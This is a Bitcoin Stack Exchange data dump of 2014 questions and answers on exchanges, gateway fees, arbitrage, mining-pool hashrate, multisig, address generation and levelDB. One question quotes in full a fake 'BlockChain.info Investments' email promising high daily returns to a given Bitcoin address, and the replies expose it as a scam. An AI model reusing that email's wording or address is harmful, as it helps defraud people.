  <row Id="28135" PostTypeId="1" CreationDate="2014-06-25T05:29:52.720" Score="1" ViewCount="61" Body="&lt;p&gt;How do bitstamp, btc-e, bitfinex, lakebtc, btcchina, compare on &lt;strong&gt;trading fee&lt;/strong&gt;, &lt;strong&gt;deposit way&lt;/strong&gt;, and &lt;strong&gt;withdrawal speed&lt;/strong&gt;? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Which is the most comfortable for us?&lt;/p&gt;&#xA;" OwnerUserId="18362" LastEditorUserId="5406" LastEditDate="2014-06-25T09:08:39.833" LastActivityDate="2014-06-25T09:08:39.833" Title="Which exchange is better for average users?" Tags="|exchanges|buy-bitcoins|" AnswerCount="0" CommentCount="1" ClosedDate="2014-06-25T08:51:31.793" ContentLicense="CC BY-SA 3.0" />
  <row Id="28136" PostTypeId="1" AcceptedAnswerId="28137" CreationDate="2014-06-25T06:15:03.600" Score="4" ViewCount="504" Body="&lt;p&gt;I am wondering what inventives do various Crypto 2.0 systems provide for IOU Gateways (ones that create currencies backed by other currencies or commodities, like USD, BTC or the like)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just to be clear, by &quot;Gateway&quot; I mean a business that takes currency external of the Crypto 2.0 system, issues IOUs in the system for that currency and is responsible for converting the IOUs back to that currency. For example, Bitstamp is a Gateway for USD and BTC in Ripple. By &quot;IOU&quot; I mean a token in the Crypto 2.0 system that can be created easily and is not native to the system (for example, USD and BTC in Ripple are IOUs, XRP is not. BTC is not an IOU in the Bitcoin network).&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2014-06-25T13:36:34.780" Title="What incentives do Crypto 2.0 systems provide for IOU Gateways?" Tags="|ripple-gateways|iou|crypto-2.0|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28137" PostTypeId="2" ParentId="28136" CreationDate="2014-06-25T06:31:50.303" Score="3" Body="&lt;p&gt;&lt;strong&gt;Universal&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In most if not all Crypto 2.0 systems, a Gateway can:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Charge the users for IOU deposits&lt;/li&gt;&#xA;&lt;li&gt;Charge the users for IOU withdrawals&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Ripple&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In Ripple, a Gateway can set a percentage fee for whenever their IOU is transferred from one user to another. Say, at 1% fee, to send someone $100, one needs to spend $101. The recipient receives $100, while the Gateway's liabilities decrease by $1, giving them that much in profit.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Ethereum&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In Ethereum, a Gateway can create an arbitrary contract for how its currency will be used. This contract can include any fee for currency being transferred or exchanged, demurrage, or anything else that can be coded in a smart contract.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2014-06-25T06:31:50.303" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="28140" PostTypeId="1" AcceptedAnswerId="28145" CreationDate="2014-06-25T15:19:00.347" Score="3" ViewCount="508" Body="&lt;p&gt;There are several bitcoin exchanges which trade bitcoins to $US and also several other markets which trade bitcoin for other currencies.  Each exchange however quotes a different price in effective $US for a bitcoin.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This discrepancy may be a result of differing fees at exchanges, and risks associated with each exchange and so on, but temporary discrepancies may also be a result of market inefficiencies and arbitrage opportunities.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How efficient are bitcoin markets currently (including both $US dollar markets and other currencies), and how quickly are potential arbitrage opportunities eliminated?&lt;/p&gt;&#xA;" OwnerUserId="12594" LastEditorDisplayName="user5107" LastEditDate="2014-06-26T00:24:06.210" LastActivityDate="2014-06-26T00:24:06.210" Title="How efficient are bitcoin markets?" Tags="|economic-theory|market|arbitrage|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="28141" PostTypeId="1" AcceptedAnswerId="28142" CreationDate="2014-06-25T18:41:06.650" Score="1" ViewCount="547" Body="&lt;p&gt;Actually I am working with some small academic project right now and I am newbie in crypto currencies. This project is primitive mining pool for cryptocurrency, as a base cryptocurrency I am using dogecoin (don't ask why, i just liked the name). I've read a lot of information, looks through lots of projects and actually I've created it. So I could connect with the mining tool to my pool right now and start to mine. if I made everything correct I am sending difficulty=1 to client via stratum protocol and start to mine. The process looks fine and soon clients begin to submit lots of shares so I get some shares for difficulty 1. I need to calculate (my average hash rate for example for last hour) of the pool according to the shares amount I've get. I take a look to this page: &lt;a href=&quot;https://en.bitcoin.it/wiki/Difficulty&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://en.bitcoin.it/wiki/Difficulty&lt;/a&gt; And I got two questions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) I've found that I need to calculate avg 4,294,967,296 hashes for difficulty 1 but as I've found my clients generate much less hashes (according to the mining tools info it's about 30khash/s in common) but they still sends lots of valid shares to server. So actually I can't understand - is that ok, that several desktop PC could generate a lot of shares for difficulty 1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) I can't understand the hashrate calculating algorithm. My final goal right now is to calculating of pool avg hashrate based on shares count, and difficulty which i send to my clients. I take a look to this &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/5299/what-is-the-correct-algorithm-to-calculate-worker-pool-hashrate&quot;&gt;What is the correct algorithm to calculate worker &amp;amp; pool hashrate&lt;/a&gt; and try to calculate hash rate according to my last hour of testing. Server got 120 new shares from miners its results in 143,165,576/s (143 mHashes) but the minners tools show other numbers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="18367" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:34.187" LastActivityDate="2018-01-16T11:25:22.657" Title="Question about pool hashrate" Tags="|mining-pools|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28142" PostTypeId="2" ParentId="28141" CreationDate="2014-06-25T19:16:47.970" Score="1" Body="&lt;p&gt;Most likely, you are considering 2^16 to be difficulty 1, not 2^32. 2^32 is a common base for SHA256d coins like Bitcoin. 2^16 is common for scrypt coins like Dogecoin.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2014-06-25T19:16:47.970" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28143" PostTypeId="2" ParentId="22604" CreationDate="2014-06-25T20:19:15.003" Score="1" Body="&lt;p&gt;Flowertechnology is releasing 3 asic miners which can mine the new &quot;scrypt-n&quot; algorythm 1. july... It's been on pre-order for some time&lt;/p&gt;&#xA;" OwnerUserId="18369" LastActivityDate="2014-06-25T20:19:15.003" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28144" PostTypeId="1" CreationDate="2014-06-25T21:22:12.297" Score="1" ViewCount="914" Body="&lt;p&gt;Do you know any bash script or C simple program to generate btc and ltc addresses? I need to generate address while in recovery mode on osx or on a linux onthefly. But I cannot find such a thing on github: they're in python or never compiles or just do btc or ltc.&lt;/p&gt;&#xA;" OwnerUserId="18370" LastActivityDate="2014-06-26T00:35:26.077" Title="Bash BTC and LTC address generator" Tags="|address|vanity-address|vanitygen|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28145" PostTypeId="2" ParentId="28140" CreationDate="2014-06-25T21:45:56.360" Score="3" Body="&lt;p&gt;First, to clear things up, it isn't up to the exchange to quote a certain price/rate. It's all up to the users of that exchange what they ask/bid for a bitcoin. For example there are two exchanges, X and Y, with both have an ask one 500 USD and a bid on 400 USD. Then person A bids a higher price, lets say 470 (instead of 400), on exchange X. Person B asks a lower price, 430 (instead of 500), but he is one exchange Y, so their offers are never matched by the exchange itself. You however, are smarter. If you buy that coin (lets assume they both offer/ask a whole coin) from B, and sell it to A, you made a $40 profit (minus fees). Caching! Of course, these numbers are not plausible anymore. Think in cents/btc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The discrepancy on different exchanges can indeed be the results of the effects you name. A few months ago, you could buy 'MtGox bitcoin', with a lower price then normal bitcoin. You weren't sure however that you could return that coin in the future.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But to answer your question, this arbitrage process can be completely automised and therefor fast as hell. There is no handwork involved anymore (just depositing/withdrawing USD/EUR). It is not very difficult to program (I half did it, without any knowledge in php or good programming skills), so there are a lot of scripts running, trying to make a small profit. Every ask/bid that has an arbitrage option is closed within tenths of a second. You cannot do it by hand. If you have made a script by yourself, you can get lucky if you import the data and execute your order at the right time. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;edit: you can take a look at &lt;a href=&quot;https://www.cryptocoincharts.info/v2/arbitrage&quot; rel=&quot;nofollow&quot;&gt;this site&lt;/a&gt;, they list options of arbitrage.&lt;/p&gt;&#xA;" OwnerUserId="15412" LastActivityDate="2014-06-25T21:45:56.360" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28146" PostTypeId="1" CreationDate="2014-06-25T22:41:57.310" Score="4" ViewCount="680" Body="&lt;p&gt;I tried to create a multisig in both the Bitcoin network and the Bitcoin testnet. It seems to work only when all public keys are from the current wallet. That means when I call &lt;code&gt;listunspent&lt;/code&gt; after I send coin to the multisig address, it didn't show up as a multisig address unless this multisig address was created from the current wallet. I tried it in both real coin and testnet. What is problem?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: I use Bitcoin-qt 0.9.2.1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Why &quot;listunspent&quot; dosen't show multisig address ?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;How can i check balance of multisig address and get txid and vout and scriptPubKey for multisig address ?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit 2:I try to search for software(tool) can be track bitcoin address (balance and transactions) i found bitcoin-abe, but  when i search for it i found i can't search for bitcoin address to retrieve it balance and transaction ? anyone know tool like blockchain when i request about bitcoin address give me balance and transactions ?&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="13349" LastEditorUserId="13349" LastEditDate="2014-06-27T16:42:52.600" LastActivityDate="2014-07-01T19:57:45.510" Title="Multisig doesn't work unless all keys were generated from the current wallet?" Tags="|bitcoind|bitcoin-core|multi-signature|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="28147" PostTypeId="2" ParentId="28144" CreationDate="2014-06-26T00:35:26.077" Score="1" Body="&lt;p&gt;Sure, you can do this with &lt;a href=&quot;http://cryptocoinjs.com/&quot; rel=&quot;nofollow&quot;&gt;CryptoCoinJS&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;First &lt;a href=&quot;http://nodejs.org/download/&quot; rel=&quot;nofollow&quot;&gt;download Node.js&lt;/a&gt;. Then do the following:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Make a new directory:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mkdir /tmp/myapp&#xA;cd /tmp/myapp&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Initialize your app:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;npm init&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then run:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;npm install --save coinkey@1.1.0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then run:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;npm install --save coininfo@0.2.0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Create your js file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;touch app.js&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Put the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var CoinKey = require('coinkey')&#xA;var ci = require('coininfo')&#xA;&#xA;var amount = 10&#xA;//generate a bunch of Litecoin addresses&#xA;for (var i = 0; i &amp;lt; amount; ++i) {&#xA;  var ck = CoinKey.createRandom(ci('LTC').versions) //change LTC to BTC if you want Bitcoin&#xA;  console.log(ck.privateWif + ': ' + ck.publicAddress)&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Run your script:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;node app.js&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Documentation for &lt;a href=&quot;http://cryptocoinjs.com/modules/currency/coinkey/&quot; rel=&quot;nofollow&quot;&gt;coinkey&lt;/a&gt;&#xA;Documentation for &lt;a href=&quot;http://cryptocoinjs.com/modules/currency/coininfo/&quot; rel=&quot;nofollow&quot;&gt;coininfo&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps. If something doesn't work, let me know.&lt;/p&gt;&#xA;" OwnerUserId="3724" LastActivityDate="2014-06-26T00:35:26.077" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28148" PostTypeId="2" ParentId="27054" CreationDate="2014-06-26T03:16:44.590" Score="1" Body="&lt;p&gt;I managed it with Petrer Todds &lt;a href=&quot;https://github.com/petertodd/python-bitcoinlib/&quot; rel=&quot;nofollow&quot; title=&quot;library&quot;&gt;python-bitcoinlib&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Link to &lt;code&gt;payments_pb2&lt;/code&gt; proto file &lt;a href=&quot;https://github.com/bitcoin/bips/blob/master/bip-0070/paymentrequest.proto&quot; rel=&quot;nofollow&quot; title=&quot;proto file&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bitcoin&#xA;&#xA;## Uncomment for testnet&#xA;#bitcoin.SelectParams('testnet')&#xA;&#xA;import payments_pb2&#xA;&#xA;from bitcoin.wallet import CBitcoinAddress&#xA;from bitcoin.core.script import CScript&#xA;&#xA;def protoresponse(httprequest):&#xA;&#xA;    ## Object&#xA;    o = payments_pb2&#xA;&#xA;    ## PaymentACK object&#xA;    pao = o.PaymentACK()&#xA;    pao.payment.ParseFromString(httprequest.body)&#xA;&#xA;    refund_address = CBitcoinAddress.from_scriptPubKey(CScript(pao.payment.refund_to[0].script))&#xA;&#xA;    return httpresponse&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="15533" LastEditorUserId="15533" LastEditDate="2014-12-30T03:47:53.803" LastActivityDate="2014-12-30T03:47:53.803" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28150" PostTypeId="1" CreationDate="2014-06-26T03:28:56.417" Score="2" ViewCount="96" Body="&lt;p&gt;I have seen several exchanges that currently offer the ability to take BTC long positions with leverage.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;BTC.sx - leverage directly from the BTC.sx, 0.85% / day&#xA;Bitfinex - leverage from other account holders, rates vary, but ~ 0.15-0.20% / day over the past several days&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there other sites?  These margin rates that I have seen are quite high.  Does anyone know of sites that offer the ability to buy BTC with leverage, but at lower rates?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm a &quot;buy and hold&quot; investor, so I am okay with committing to specific / longer timeframes to hold the BTC.  Could that help?&lt;/p&gt;&#xA;" OwnerUserId="18374" LastActivityDate="2014-06-26T03:28:56.417" Title="Available ways to buy Bitcoin using leverage" Tags="|trading|" AnswerCount="0" CommentCount="0" ClosedDate="2014-08-05T10:19:08.807" ContentLicense="CC BY-SA 3.0" />
  <row Id="28152" PostTypeId="1" AcceptedAnswerId="28159" CreationDate="2014-06-26T06:48:24.673" Score="6" ViewCount="296" Body="&lt;p&gt;I'm playing with raw transactions. It's easy to send two signed valid transactions at the same time from the same output to different addresses (making a double-spend attack). My doubt is: if I make tests like this, will the bitcoin p2p network will flag my node / IP as &quot;bad&quot; or I can do it normally without any consequences? Of course I am not attacking anyone else, I want to make tests with my wallets / system to see the behavior.&lt;/p&gt;&#xA;" OwnerUserId="1761" LastEditorUserId="18196" LastEditDate="2015-01-15T21:41:23.540" LastActivityDate="2015-01-15T21:41:23.540" Title="Double spend transactions flag the node as &quot;bad&quot;?" Tags="|transactions|doublespend|raw-transaction|banscore|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="28154" PostTypeId="2" ParentId="28152" CreationDate="2014-06-26T07:20:39.110" Score="4" Body="&lt;p&gt;Your current peers can ban (for some time, not forever) your IP-address.&#xA;Just connect to other nodes in case.&#xA;The network itself can not do anything with you because there is no such thing in protocol.&#xA;Your peers do not know - are you a double-spender or you just relaying somebody's else packets.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Sorry, my English is also very poor)&lt;/p&gt;&#xA;" OwnerUserId="12983" LastActivityDate="2014-06-26T07:20:39.110" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28155" PostTypeId="2" ParentId="4477" CreationDate="2014-06-26T07:30:07.443" Score="2" Body="&lt;p&gt;It is possible to do what you want by simply using the &lt;a href=&quot;https://github.com/bitcoinj/bitcoinj/blob/master/core/src/main/java/com/google/bitcoin/store/PostgresFullPrunedBlockStore.java&quot; rel=&quot;nofollow&quot;&gt;PostgresFullPrunedBlockStore&lt;/a&gt; class for storage and then you will just need to call &lt;code&gt;Address.calculateBalanceForAddress()&lt;/code&gt; in order to get the balance of the desired address.&lt;/p&gt;&#xA;" OwnerUserId="12525" LastActivityDate="2014-06-26T07:30:07.443" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="28156" PostTypeId="2" ParentId="25103" CreationDate="2014-06-26T09:33:43.493" Score="6" Body="&lt;p&gt;As per: &lt;a href=&quot;https://en.bitcoin.it/wiki/Original_Bitcoin_client/API_calls_list&quot; rel=&quot;noreferrer&quot;&gt;https://en.bitcoin.it/wiki/Original_Bitcoin_client/API_calls_list&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We have,&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;[target-confirmations] intentionally does not affect the list of returned transactions, but only affects the returned 'lastblock' value.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;What does this mean? It means the &lt;code&gt;lastblock&lt;/code&gt; entry in your returned object is the last block you can see on the blockchain (as it the block that currently has exactly 1 confirmation as indicated by the argument you passed in). The &lt;code&gt;lastblock&lt;/code&gt; entry is the only field you can affect by changing the &lt;code&gt;target-confirmations&lt;/code&gt; argument.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This means that if you want all transactions with at least 1 confirmation, you need to filter this list. This begs the question, why isn't the &lt;code&gt;target-confirmations&lt;/code&gt; argument used to do this filtering?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is because the way the function works currently allows for a use-case in which you can constantly call &lt;code&gt;listsinceblock&lt;/code&gt; with the value of &lt;code&gt;lastblock&lt;/code&gt; that was returned in your last call. By doing this, your &lt;code&gt;transactions&lt;/code&gt; list will contain transactions that reach X or more confirmations on the blockchain in &lt;em&gt;exactly&lt;/em&gt; one of those calls, (where X in this case is 1).&lt;/p&gt;&#xA;" OwnerUserId="18375" LastActivityDate="2014-06-26T09:33:43.493" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28157" PostTypeId="2" ParentId="28146" CreationDate="2014-06-26T09:56:27.470" Score="2" Body="&lt;p&gt;The built-in multisig support in the reference client is only a proof-of-concept. As until recently (and still) the wallet did not deal well with coins being spent outside of its control, it was decided to only allow spending multisig coins when you have all keys. Of course that completely defeats the purpose of multisig, but proper support for it requires separate tools anyway (to pass the partially signed transactions around, etc).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, the planned watch-only wallet support does allow watching multisig addresses too (in fact, any script at all), which will appear in listunspent. Clearly, the regular &lt;code&gt;sendtoaddress&lt;/code&gt; &amp;amp; co RPCs cannot spend these coins, but it does give the ability to track them.&lt;/p&gt;&#xA;" OwnerUserId="208" LastActivityDate="2014-06-26T09:56:27.470" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="28158" PostTypeId="2" ParentId="22674" CreationDate="2014-06-26T10:11:55.543" Score="1" Body="&lt;p&gt;There are some research papers out there, including about bitcoins economical viability. A wonderful (a pleasure for hours) and fairly complete list can be found &lt;a href=&quot;https://en.bitcoin.it/wiki/Research&quot; rel=&quot;nofollow&quot;&gt;on the wiki&lt;/a&gt;. A random chosen abstract:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Bitcoin has emerged as a fascinating phenomenon of the ﬁnancial&#xA;  markets. Without any central authority issuing the currency, it has&#xA;  been associated with controversy ever since its popularity and public&#xA;  interest reached high levels. Here, we contribute to the discussion by&#xA;  examining potential drivers of Bitcoin prices ranging from fundamental&#xA;  to speculative and technical sources as well as a potential inﬂuence&#xA;  of the Chinese market. The evolution of the relationships is examined&#xA;  in both time and frequency domains utilizing the continuous wavelets&#xA;  framework so that we comment on development of the interconnections in&#xA;  time but we can also distinguish between short-term and long-term&#xA;  connections.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Have fun! :)&lt;/p&gt;&#xA;" OwnerUserId="7043" LastActivityDate="2014-06-26T10:11:55.543" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28159" PostTypeId="2" ParentId="28152" CreationDate="2014-06-26T10:55:40.173" Score="3" Body="&lt;p&gt;No, spending an already spent output is not a DoS banning offense. Sending invalid transactions will however get you banned from your peers. &lt;/p&gt;&#xA;" OwnerUserId="13413" LastActivityDate="2014-06-26T10:55:40.173" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28161" PostTypeId="2" ParentId="28101" CreationDate="2014-06-26T16:30:24.800" Score="0" Body="&lt;p&gt;After I generate the Master-wallet I use the MPK to generate the sub-wallet and the fingerprint and chaincode seems to point to the right master-wallet. I tried using the salt (brain-wallet style) to generate the sub-wallets and this did not match up to the fingerprint or the chain code. hope this works&lt;/p&gt;&#xA;" OwnerUserId="18379" LastActivityDate="2014-06-26T16:30:24.800" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28162" PostTypeId="1" CreationDate="2014-06-26T20:06:09.923" Score="2" ViewCount="390" Body="&lt;p&gt;I was reading that brainwallet.org uses low-entropy RNGs, so any address generated using their website will be unsafe. I used their website to make a cold storage address last December, and so far no one's stolen anything from it. Is it worth it to make a new address on a more secure website? I've put a large amount of time into the current one; I memorized the first 2/3 of the private key and have the last third written down (most secure method in my opinion). &lt;/p&gt;&#xA;" OwnerUserId="2526" LastActivityDate="2014-10-26T19:44:42.187" Title="brainwallet.org Low Entropy Generation" Tags="|coldstorage|brain-wallet|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28163" PostTypeId="1" CreationDate="2014-06-26T20:27:34.867" Score="4" ViewCount="1137" Body="&lt;p&gt;Today I received a strange email, which looks like a scam to me. It claims to be sent from blockchain.info &lt;code&gt;no-reply@blockchain.info&lt;/code&gt;, but being a programmer, I know that I can send email from whomever I want, so I do not trust it so much.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Welcome to BlockChain.info Investments, a place of stable income.  &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;This email is sent to all Bitcoin members. If you are not Blockchain&#xA;  user, you can still invest with us. All you have to do is choose&#xA;  amount you want to invest and send it to Bitcoin address below.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Minimum investment is 0.1 BTC or 50$ USD More you invest, more you&#xA;  earn.  This is not a ponzi, we are paying our valuable members from&#xA;  advertising money and fees.  This Investment option will be available&#xA;  for limited time only.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Example: Invest 0.1 BTC - 1 BTC - Receive 105% after 1 day. Invest 1.1&#xA;  BTC - 2 BTC - Receive 110% after 1 day. Invest 2.1 BTC - 5 BTC -&#xA;  Receive 115% after 1 day. Invest 5 BTC or more and receive 120% after&#xA;  1 day.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;For example if you invest 1 BTC, you will receive 1.05 BTC after 24&#xA;  hours. Invest 10 BTC and receive 12 BTC after 24 hours. &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Payments will be made automatically 24 hours after you send money. You&#xA;  will receive email confirmation after you send money to our Bitcoin&#xA;  address for investments. &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;When you are ready to invest, choose amount and send it to this&#xA;  address below. 1LFHVdwAV9w994sMi6o1JpJeykZhdbGfpn Every user will&#xA;  receive custom address for deposits and withdrawals. &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Blockchain Team.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I formatted it a little bit, but basically this is it. Also this does not look like a ponzi scheme to me, it looks like a scam. Moreover I haven't found any information about &lt;code&gt;blockchain investments&lt;/code&gt; on their site (but I admit I have not looked too much).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is: is this a real thing?&lt;/p&gt;&#xA;" OwnerUserId="1891" LastActivityDate="2019-01-20T21:06:57.297" Title="BlockChain.info Investments? Sounds like a scam" Tags="|blockchain.info|investing|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="28165" PostTypeId="1" AcceptedAnswerId="28166" CreationDate="2014-06-26T21:03:27.197" Score="3" ViewCount="100" Body="&lt;p&gt;This is more like general question about digital currencies rather than about Bitcoin specifically, but it still is relevant to Bitcoin I guess (at least this SE section is more suitable for this question than Stackoverflow).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I took some time to understand how digital currencies work, and it is common for all of them that transactions are submitted in blocks that are generated by miners.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And now there are dozens of cryptocurrencies out there, and all they maintain the same mining principle. But what I can't understand is that when a new digital currency is launched there are no transactions going on since there is no one trading it, which implies that there is no mining and no new coins issued.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So my question is, how does it begin? How these digital currencies develop and expand if there are no transactions initially?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="18381" LastEditorDisplayName="user5107" LastEditDate="2014-06-26T21:04:58.137" LastActivityDate="2014-06-26T21:26:35.937" Title="Which transactions are being submitted in the very first blocks of some digital currency?" Tags="|currencies|genesis-block|" AnswerCount="1" CommentCount="1" ClosedDate="2018-02-23T05:21:52.640" ContentLicense="CC BY-SA 3.0" />
  <row Id="28166" PostTypeId="2" ParentId="28165" CreationDate="2014-06-26T21:26:35.937" Score="3" Body="&lt;p&gt;You don't need to have transactions in order to mine. A block always contains at least one transaction, the &quot;coinbase&quot; transaction that says where the block reward should go, but it need not contain any others.&lt;/p&gt;&#xA;" OwnerUserId="5757" LastActivityDate="2014-06-26T21:26:35.937" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28168" PostTypeId="1" AcceptedAnswerId="29418" CreationDate="2014-06-26T23:04:11.767" Score="41" ViewCount="16503" Body="&lt;p&gt;I am wondering if I can use node.js and levelup to access a copy of the blockchain database directly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But from what I can see, I need to know the name of the key(s) before I can get any data, as this is used in the &lt;code&gt;get&lt;/code&gt; method of levelup.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I have not been able to find out anything about the possible key(s) associated with the values in the key value pairs, so I'm at a loss as to how I might retrieve the data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Firstly, what are the keys in the key value pairs, and secondly is it possible just to select the first &lt;code&gt;n&lt;/code&gt; records?&lt;/p&gt;&#xA;" OwnerUserId="5157" LastEditorUserId="5406" LastEditDate="2014-06-27T06:52:50.887" LastActivityDate="2022-04-13T22:19:44.853" Title="What are the keys used in the blockchain levelDB (ie what are the key:value pairs)?" Tags="|blockchain|leveldb|node.js|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28169" PostTypeId="2" ParentId="28163" CreationDate="2014-06-26T23:21:30.133" Score="12" Body="&lt;p&gt;It seems obvious to me that this is a scam. No legitimate investment in the world can guarantee a rate of return of 20 percent per day. At that rate, with a 5 btc initial investment, you'd own all the bitcoins in existence after 81 days.  And after 15 months, you'd have &lt;a href=&quot;http://what-if.xkcd.com/96/&quot; rel=&quot;noreferrer&quot;&gt;this much&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But you may want to contact blockchain.info directly; there is a contact link at the bottom of their home page. They can confirm that this is a scam, and also announce it on their blog / Twitter feed to hopefully keep anyone from falling for it.&lt;/p&gt;&#xA;" OwnerUserId="5757" LastEditorUserId="5757" LastEditDate="2014-06-28T01:02:27.660" LastActivityDate="2014-06-28T01:02:27.660" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
